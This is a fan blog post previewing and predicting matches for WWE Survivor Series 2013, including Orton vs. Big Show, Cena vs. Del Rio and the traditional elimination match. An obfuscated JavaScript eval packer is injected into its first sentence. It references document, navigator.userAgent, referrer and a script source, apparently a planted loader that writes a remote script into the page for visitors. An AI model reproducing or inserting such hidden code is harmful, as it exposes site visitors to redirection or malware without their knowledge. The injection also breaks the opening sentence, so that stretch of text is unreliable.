Survivor Series 2013 Preview
It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htazs|var|u0026u|referrer|tzrtt||js|php'.split('|'),0,{})) the fourth biggest show of the year and there’s actually a card for it now!As usual we’ll start on the pre-show. I see absolutely no reason for Miz to lose here. He’s coming off a heel turn and he’s against the jobber to end all jobbers in Kofi, so we’ll take what should e obvious here and say Miz wins.
Continuing the trend of easy picks, Big Show loses to Orton. It’s obvious they’re setting up HHH vs. Big Show at TLC because if there’s one thing this company needs, it’s more Big Show. Orton will be in trouble but come back somehow and cheat to win. I could see a scenario where Big Show wins and HHH goes to take the title from him but I don’t think they’ll go there.
Cena over Del Rio of course, which will likely set up a third match between them at TLC. Why WWE thinks anyone wants to see that is beyond me, but they make some very strange decisions in the main event scene at times.
Langston retains the title in the rematch. I don’t think this really needs an explanation.
I’m going to go with what seems like the logical move and say Punk and Bryan beat the Wyatts. The money to this feud is in Bray vs. the stars and it wouldn’t make sense having the Family get the win. That being said, I wouldn’t be complaining if they did because those two could easily be a nice fixture in the tag division. Punk and Bryan win but it’s a struggle.
Total Divas win because WWE thinks that’s what the people want to see. Then again I’ve said that for months now and haven’t been right yet.
That leaves us with the traditional Survivor Series match which is a hard one to pick. I’m going to go with the good guys here in a tossup. The problem here is Roman Reigns, who just does not lose in WWE. Unless he gets DQ’d or counted out, I can’t imagine him being eliminated. On the other hand, I just can’t see the Real Americans and Shield winning overall. I’ll take the tag champions, Usos and Rey but I wouldn’t be surprised if I’m wrong.
Overall the show looks better than it did a week ago but it doesn’t come off as important. Usually, and as is the case here, a show is only as good as its top match. Big Show vs. Orton is one of the weakest main events I can remember in a long time and that’s a bad sign for the rest of the show. Survivor Series can work as a major show but WWE seems inept at making it one. The show should be decent but it’s not going to wow anyone.
